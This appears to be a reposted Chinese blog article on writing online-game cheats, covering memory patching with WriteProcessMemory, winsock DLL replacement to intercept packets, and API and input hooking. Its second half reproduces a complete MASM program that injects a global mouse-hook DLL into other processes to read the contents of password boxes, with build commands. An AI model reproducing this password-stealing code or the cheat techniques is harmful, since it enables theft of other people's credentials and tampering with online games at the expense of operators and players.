游戏外挂的技术概括
一、先說一下寫一個外掛需要什么條件
1、熟練的C語言知識
目前的外掛大部分都是用BC或者是vc寫的，擁有熟練的C語言知識是寫外掛的基本條件。
2、具有很強的匯編基礎
一般游戲都不可能有原代碼的，必須靠反匯編或者跟蹤的辦法來探索其中的機理 ，所以有強的匯編基礎也是必不可少的條件。
3、熟練掌握跟蹤和調試的工具
有了上面2個條件后，掌握一些工具也是很有必要的 跟蹤的工具，softice當然是不二之選，至于反匯編的工具，我推薦用IDA PRO 這個工具反匯編出來的代碼結構清晰，非常好讀如果你不具有上面的條件，還是先把基礎打好，再來寫外掛吧，一分耕耘，一分收獲，天下沒有白掉的餡餅的。
二、寫外掛面臨的基本技術問題
1、修改進程的執行代碼 要修改進程的執行代碼，要先取得進程的ID,如果是由外掛程序啟動，返回值里就有進程ID，如果不是的話，需要用findwindow找到窗口句柄，再用GetWindowProcessID取得進程ID，取得進程ID以后，就可以用writeprocessmemory來修改進程的執行代碼了，使程序按照我們的意愿來執行，石器外掛里的不遇敵、寸步遇敵就是用這樣的方法來實現的。
2、截獲外掛發送和接收的封包
除了通過修改代碼來實現的功能以外，很多的功能都是通過修改封包來實現的，要修改封包，首先要能截獲它。
第一步是要跟蹤出發和收的位置，至于怎么跟蹤，我以后會提到，找到位置以后，有2個辦法，一是在那個位置加一個jmp語句，跳到你的處理函數位置，處理完后，再跳回來，這種方法要求比較高，需要處理好很多事情，另一種辦法是往那個位置寫條能造成例外的指令，比如int 3，然后用DebugActiveProcess調試游戲進程，這樣每當游戲執行到那個位置的時候，就會停下來，到外掛程序里面去，等外掛程序處理完以后，用ContinueDebugEvent繼續運行程序。
下面來談談地址的調查問題，地址調查是寫外掛中最艱辛，最富有挑戰性的事情，很多朋友問我要外掛的原程序，其實有了外掛原程序，如果你不會調查地址，還是沒用的，原程序和地址的關系就象武學中招式與內功的關系，沒有內功的招式，只是一個花架子。而內功精深以后，任何普通的招式，都有可能化腐朽為神奇，外掛中的地址分為兩類，一類是程序地址，一類是數據地址。象石器中的雙石器，真彩，不遇敵，寸步遇敵，發送接收封包等，都屬于第一類，而人物坐標，狀態等， 都屬于第二類。
對于第一類地址，主要依靠softice來調查地址，對第二類地址，可以用一些游戲工具，比如fpe、game expert、game master等來調查，我一直用gameexpert，因為我找不到2000下能用的fpe，各位以前用fpe改游戲的時候，沒想過他也能用來干這個吧。對于第二類數據的調查方法，大部分人都很熟習了，我就不多說了，現在主要來談談第一類數據的詳細調查過程。
比如我們要調查發送封包的位置，如何著手呢，客戶端往服務器要發很多封包，但最簡單的辦法莫過從說話的封包入手，先說一句很長的話，最好是英文，查起來方便，說完以后，用任意一種辦法進入游戲程序的進程空間（比如先用spy查出游戲程序的窗口句柄，再切換到softice打入bmsg 窗口句柄 wm_lbuttondown，這樣在游戲程序中一點鼠標就進入了他的進程空間）然后用s命令查出這句話所放的內存地址。
記下這個地址，在softice 中打入bpm 剛才調查到的地址，這個指令的意思是只要有訪問這個內存的動作，立刻中斷，然后再切換到游戲，說一句話，你會發現softice自動中斷到某一個位置了，從這個位置跟蹤下去，發送封包的位置也就不遠了。
上面所說的都是針對一個全新的游戲程序而言，如果是一個老的程序，有前輩做了大量的工作，還可以用些別的辦法，如反匯編等，來調查。以后游戲版本的更新也是如此，只要把老版本的地址位置附近的代碼記下來，去新版本的代碼里面search一下，就ok了。恩，休息一會兒，休息一會兒。
我主要對外掛的技術進行分析，至于游戲里面的內部結構每個都不一樣，這里就不做講解了，我也沒有那么厲害，所有的都知道，呵呵！
1、游戲外掛的原理
外掛現在分為好多種，比如模擬鍵盤的、鼠標的、修改數據包的、還有修改本地內存的，但好像沒有修改服務器內存的哦，呵呵！其實修改服務器也是有辦法的，只是技術太高一般人沒有辦法入手而已！（比如請GM去夜總會、送禮、收黑錢等辦法都可以修改服務器數據，哈哈！）
修改游戲無非是修改一下本地內存的數據，或者截獲api函數等，這里我把所能想到的方法都作一個介紹，希望大家能做出很好的外掛來使游戲廠商更好的完善自己的技術。
我見到一篇文章是講魔力寶貝的理論分析，寫得不錯，大概是那個樣子。
下來我就講解一下技術方面的東西，以作引玉之用。
2、技術分析部分
（1）模擬鍵盤或鼠標的響應
我們一般使用UINT SendInput(
UINT nInputs, // count of input events
LPINPUT pInputs, // array of input events
int cbSize // size of structure
);api函數
第一個參數是說明第二個參數的矩陣的維數的，第二個參數包含了響應事件。這個自己填充就可以，最后是這個結構的大小，非常簡單，這是最簡單的方法模擬鍵盤鼠標了，呵呵。
注意:這個函數還有個替代函數:
VOID keybd_event(
BYTE bVk, // 虛擬鍵碼
BYTE bScan, // 掃描碼
DWORD dwFlags,
ULONG_PTR dwExtraInfo // 附加鍵狀態
);和
VOID mouse_event(
DWORD dwFlags, // motion and click options
DWORD dx, // horizontal position or change
DWORD dy, // vertical position or change
DWORD dwData, // wheel movement
ULONG_PTR dwExtraInfo // application-defined information
);
這兩個函數非常簡單了,我想那些按鍵精靈就是用的這個吧,呵呵,上面的是模擬鍵盤,下面的是模擬鼠標的。
這個僅僅是模擬部分,要和游戲聯系起來我們還需要找到游戲的窗口才行,或者包含快捷鍵,就象按鍵精靈的那個激活鍵一樣,我們可以用GetWindow函數來枚舉窗口,也可以用Findwindow函數來查找制定的窗口(注意還有一個FindWindowEx),FindwindowEx可以找到窗口的子窗口,比如按鈕,等什么東西.當游戲切換場景的時候我們可以用FindWindowEx來確定一些當前窗口的特征,從而判斷是否還在這個場景,方法很多了,比如可以GetWindowInfo來確定一些東西,比如當查找不到某個按鈕的時候就說明游戲場景已經切換了,等等辦法.有的游戲沒有控件在里面,這是對圖像做坐標變換的話,這種方法就要受到限制了.這就需要我們用別的辦法來輔助分析了。
至于快捷鍵我們要用動態連接庫實現了,里面要用到hook技術了,這個也非常簡單,大家可能都會了,其實就是一個全局的hook對象然后SetWindowHook就可以了,回調函數都是現成的,而且現在網上的例子多如牛毛,這個實現在外掛中已經很普遍了.如果還有誰不明白,那就去看看msdn查找SetWindowHook就可以了。
這個動態連接庫的作用很大,不要低估了哦,它可以切入所有的進程空間,也就是可以加載到所有的游戲里面哦,只要用對,你會發現很有用途的!
這個需要你復習一下win32編程的基礎知識了,呵呵,趕快去看書吧!
（2）截獲消息
有些游戲的響應機制比較簡單,是基于消息的,或者用什么定時器的東西,這個時候你就可以用攔截消息來實現一些有趣的功能了.
我們攔截消息使用的也是hook技術,里面包括了鍵盤消息,鼠標消息,系統消息,日志等,別的對我們沒有什么大的用處,我們只用攔截消息的回調函數就可以了,這個不會讓我寫例子吧,其實這個和上面的一樣,都是用SetWindowHook來寫的,看看就明白了很簡單的.
至于攔截了以后做什么就是你的事情了,比如在每個定時器消息里面處理一些我們的數據判斷,或者在定時器里面在模擬一次定時器,那么有些數據就會處理兩次,呵呵,后果嘛,不一定是好事情哦,呵呵,不過如果數據計算放在客戶端的游戲就可以真的改變數據了,呵呵,試試看吧!用途還有很多,自己想也可以想出來的,呵呵!
（3）攔截socket包
這個技術難度要比原來的高很多哦,要有思想準備.
首先我們要替換winSock.dll或者winsock32.dll,我們寫的替換函數要和原來的函數一致才行,就是說它的函數輸出什么樣的,我們也要輸出什么樣子的函數,而且參數,參數順序都要一樣才行,然后在我們的函數里面調用真正的winSock32.dll里面的函數就可以了
首先:我們可以替換動態庫到系統路徑
其次:我們應用程序啟動的時候可以加載原有的動態庫,用這個函數LoadLibary
然后定位函數入口用GetProcAddress函數獲得每個真正socket函數的入口地址
當游戲進行的時候它會調用我們的動態庫,然后從我們的動態庫中處理完畢后才跳轉到真正動態庫的函數地址,這樣我們就可以在里面處理自己的數據了,應該是一切數據.呵呵!
興奮吧,攔截了數據包我們還要分析之后才能進行正確的應答,不要以為這樣工作就完成了,呵呵!還早呢,等分析完畢以后我們還要仿真應答機制來和服務器通信,一個不小心就會被封號,呵呵,嗚~~~~~~~~我就被封了好多啊!
分析數據才是工作量的來源呢,游戲每次升級有可能加密方式會有所改變,因此我們寫外掛的人都是亡命之徒啊,被人娛樂了還不知道,呵呵!(聲明我可沒有賺錢,我是免費的)
好了,給大家一個不錯的起點,這里有完整的替換socket源代碼,呵呵!
http://www.vchelp.net/vchelp/zsrc/wsock32_sub.zip
（4）截獲api
上面的技術如果可以靈活運用的話我們就不用截獲api函數了,其實這種技術是一種補充技術.比如我們需要截獲socket以外的函數作為我們的用途,我們就要用這個技術了,其實我們也可以用它直接攔截在socket中的函數,這樣更直接.
現在攔截api的教程到處都是,我就不列舉了,我用的比較習慣的方法是根據輸入節進行攔截的,這個方法可以用到任何一種操作系統上,比如98/2000等,有些方法不是跨平臺的,我不建議使用.這個技術大家可以參考windows核心編程里面的545頁開始的內容來學習,如果是98系統可以用window系統奧秘那個最后一章來學習.
好了方法就是這么多了,看大家怎么運用了,其它的一些針對性的技巧這里我就不說了,要不然會有人殺了我的,呵呵!
記住每個游戲的修改方法都不一樣,如果某個游戲數據處理全部在服務器端,那么你還是別寫外掛了,呵呵,最多寫個自動走路的外掛,哈哈!
數據分析的時候大家一定要注意,不要輕易嘗試和服務器的連接,因為那有很危險,切忌!等你掌握了大量的數據分析結果以后,比較有把握了在試試,看看你的運氣好不好,很有可能會成功的哦,呵呵!
其實像網金也瘋狂的那種模擬客戶端的程序也是不錯的,很適合office的人用,就看大家產品定位了.
好了不說了,大家努力吧!切忌不要被游戲廠商招安哦,那樣有損我們的形象,我們是為了讓游戲做的更好而開發的,也不愿意打亂游戲的平衡,哎,好像現在不是這樣了!不說了隨其自然吧!
98下是可以的，但到了2000時代，不同進程間不允許互相訪問了，：（偶找了篇文章，有點參考性，如下：
===================================================
利用鼠標鉤子獲得Win2000密碼框密碼
獲得Windows下的密碼框密碼，似乎是很多人感興趣的話題，CSDN上問這類問題的人不計其數……這樣看來，老羅也不能免俗啦，今天就讓我跟大家探討一下如何實現這一功能吧。^_^
我們知道，Windows下有一條功能很強勁的函數——SendMessage()，利用它能夠實現很多意想不到的功能，例如獲得密碼框的密碼就是其中一例。我們可以這樣做：
char szPsw[255];
SendMessage(hWnd, WM_GETTEXT, 255, (LPARAM)(LPCTSTR)szPsw);
通過發送消息 WM_GETTEXT 給目標窗口句柄，我們就能夠獲得密碼框的密碼了，可是它還有一點不足，就是無法在 Win2000/WinXP里面獲得密碼。這是因為 Win2000對這個方法作了防范（當然啦，老比因為這個問題已經業界被罵死了），只要你是對其他進程進行這個操作，就會失效。呵呵，這也就是為什么很多同類的軟件到了 Win2000就死翹翹的原因。 ：）
那么是否就毫無辦法了呢？當然不是！我們已經知道了失敗的原因，就是不能在別的進程中使用這一函數……嗯？……聰明的你是不是已經想到了什么？
對了，只要我們能夠在同一個進程中使用它，就可以實現了！如何做到“同一個進程”？呵呵，這又是一個問題。《Windows核心編程》的大牛 JeffreyRichter告訴我們，實現“同一進程”的辦法有很多種，例如有通過注冊表來插入DLL、使用遠程線程插入DLL、使用特洛伊DLL來插入DLL、通過內存映射文件插入DLL……方法真的是有很多種，它們都能實現“同一個進程”這一目的，不過老羅覺得都不太理想，例如，使用遠程線程是通過CreateRemoteThread() 來插入DLL，但是這個 CreateRemoteThread() 在MSDN中是明確指出了不能在 Win9X中使用的，也就是說，通用性要大打折扣。所以最后我決定使用鼠標鉤子函數來實現！
聰明的讀者可能還會問道：為什么用鼠標鉤子就能實現了？其實答案很簡單，因為密碼框是一個 EDIT 控件，它肯定能夠接收到鼠標消息，這樣，我們的鼠標鉤子函數就能夠注入到遠程的目標進程，這時的 SendMessage()就是跟目標進程在同一個進程里面，是可以取出密碼的。而且它有個非常好的地方：就是通用性強，理論上任何一個版本的 Windows 都能使用！！（我沒有 WinXP ，所以只好說“理論上”啦，請有裝 XP 的朋友幫忙試試，OK？）
明白了吧？最后還有一個細節問題——密碼是在鼠標鉤子函數里面獲得的，那么如何返回給我們的主程序？老羅的做法是把密碼作為全局共享變量，這樣就可以在兩個進程里面共享，我們的主程序就可以輸出結果啦！
說了一大通廢話，希望大家不要介意。下面我給出一個完整的例子，通過鼠標鉤子函數注入遠程進程獲得任何一個版本 Windows 的密碼框密碼。（呵呵，好拗口啊！啊！別扔番茄！！）
---------- 鼠標鉤子函數的DLL ----------
文件名： HookDll.asm
--------------------------------------
;******************************************************
;程序名稱：獲取密碼框的密碼，適用于Win9x/WinMe/Win2000/WinXP
;作者：羅聰
;日期：2002-10-8
;出處：http://www.luocong.com/（老羅的繽紛天地）
;******************************************************
.386
.model flat, stdcall
option casemap:none
include /masm32/include/windows.inc
include /masm32/include/user32.inc
includelib /masm32/lib/user32.lib
DllEntry proto :HINSTANCE, :DWORD, :DWORD
MouseProc proto :DWORD, :DWORD, :DWORD
GetPsw proto
InstallHook proto :DWORD
UninstallHook proto
.const
WM_MOUSEHOOK equ WM_USER + 6
;共享段：
.data?
hHook dd ?
hWnd dd ?
szPsw db 255 dup(?) ;關鍵語句！！！共享這個變量szPsw，以便在主程序中也能得到密碼！
.data
hInstance HINSTANCE 0
.code
DllEntry proc hInst:HINSTANCE, reason:DWORD, reserved1:DWORD
.if reason == DLL_PROCESS_ATTACH
push hInst
pop hInstance
.endif
mov eax, TRUE
ret
DllEntry endp
GetPsw proc
;關鍵！！返回密碼！（前提是密碼必須放在共享段！）
lea eax, szPsw
ret
GetPsw endp
MouseProc proc uses edx nCode:DWORD, wParam:DWORD, lParam:DWORD
invoke CallNextHookEx, hHook, nCode, wParam, lParam
mov edx, lParam
assume edx: PTR MOUSEHOOKSTRUCT
;獲得當前鼠標位置的窗口句柄：
invoke WindowFromPoint, [edx].pt.x, [edx].pt.y
;發送一個消息給當前窗口，獲得它的標題：
invoke SendMessage, eax, WM_GETTEXT, 255, addr szPsw
;發送一個消息給主程序，以便在主程序中能處理鼠標鉤子函數：
invoke PostMessage, hWnd, WM_MOUSEHOOK, 0, 0
assume edx: nothing
xor eax, eax
ret
MouseProc endp
InstallHook proc hwnd:DWORD
;啟動鼠標鉤子函數：
push hwnd
pop hWnd
invoke SetWindowsHookEx, WH_MOUSE, addr MouseProc, hInstance, NULL
mov hHook, eax
ret
InstallHook endp
UninstallHook proc
;卸載鼠標鉤子函數：
invoke UnhookWindowsHookEx, hHook
ret
UninstallHook endp
end DllEntry
;******************** over ********************
;by LC
編譯這個DLL的時候記住要這樣：（否則會失敗哦！）
ml /c /coff HookDll.asm
link /section:.bss,S /DLL /subsystem:windows /def:HookDll.def HookDll.obj
---------- 主程序調用 ----------
文件名： GetPsw.asm
-------------------------------
;******************************************************
;程序名稱：獲取密碼框的密碼，適用于Win9x/WinMe/Win2000/WinXP
;作者：羅聰
;日期：2002-10-8
;出處：http://www.luocong.com/（老羅的繽紛天地）
;******************************************************
.386
.model flat, stdcall
option casemap:none
include /masm32/include/windows.inc
include /masm32/include/kernel32.inc
include /masm32/include/user32.inc
include HookDll.inc
includelib /masm32/lib/kernel32.lib
includelib /masm32/lib/user32.lib
includelib HookDll.lib
WndProc proto :DWORD, :DWORD, :DWORD, :DWORD
.const
IDC_EDIT_OUTPUT equ 3000
WM_MOUSEHOOK equ WM_USER + 6
.data
szDlgName db "lc_dialog", 0
szPsw db 255 dup(0)
.code
main:
invoke GetModuleHandle, NULL
invoke DialogBoxParam, eax, offset szDlgName, 0, WndProc, 0
invoke ExitProcess, eax
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL rect: RECT
.if uMsg == WM_CLOSE
;卸載鼠標鉤子：
invoke UninstallHook
invoke EndDialog, hWnd, 0
.elseif uMsg == WM_INITDIALOG
;獲得主程序的rect：
invoke GetWindowRect, hWnd, addr rect
;把主程序設置成“始終在最前面”：
invoke SetWindowPos, hWnd, HWND_TOPMOST, rect.left, rect.top, rect.right,
rect.bottom, SWP_SHOWWINDOW
;鼠標鉤子函數啟動：
invoke InstallHook, hWnd
;處理鼠標鉤子函數的消息：
.elseif uMsg == WM_MOUSEHOOK
;獲得密碼：
invoke GetPsw
;輸出：
invoke SetDlgItemText, hWnd, IDC_EDIT_OUTPUT, eax
.else
mov eax, FALSE
ret
.endif
mov eax, TRUE
ret
WndProc endp
end main
;******************** over ********************
;by LC
---------- 主程序的資源文件 ----------
文件名： GetPsw.rc
-------------------------------------
#include "resource.h"
#define IDC_EDIT_OUTPUT 3000
#define IDC_STATIC -1
LC_DIALOG DIALOGEX 0, 0, 195, 30
STYLE DS_SETFONT WS_MINIMIZEBOX WS_VISIBLE WS_CAPTION WS_SYSMENU
CAPTION "Get Password by LC, 2002-10-8"
FONT 9, "宋體", 0, 0, 0x0
BEGIN
LTEXT "看看有什么：", IDC_STATIC, 5, 12, 50, 12
EDITTEXT IDC_EDIT_OUTPUT, 60, 10, 130, 12, ES_AUTOHSCROLL NOT WS_BORDER,
WS_EX_STATICEDGE
END
怎么樣？看明白了嗎？如果你還不太懂得鼠標鉤子函數的編寫，請先參考 Iczelion 的教程，到處都有哦！
-------------------------------------------------------------------------------
這兩個程序是應廣大網友的要求寫的。
其中網絡封包的攔截源代碼可以作為是我的游戲外掛分析那篇文章的例子講解吧。封包的分析要看經驗了，這里不好多講，如果仔細分析的話可能會講1000頁以上的內容，一般的分析大家可以用通用加密和解密算法來試試，如果不行的話那就是商家自己的加密算法，這就比較難辦了，根據經驗自己試試吧，比如同時放大縮小數據，看看有沒有匹配字符串，異或一個自己的編碼庫等，查看有沒有明文結果，總之這些都是非常隨機的，所以你分析出來了一個，但不一定可以分析出另外一個的，呵呵！祝大家好運！！
總結
- 上一篇： 什么是端口转发
- 下一篇： Connector odbc 安装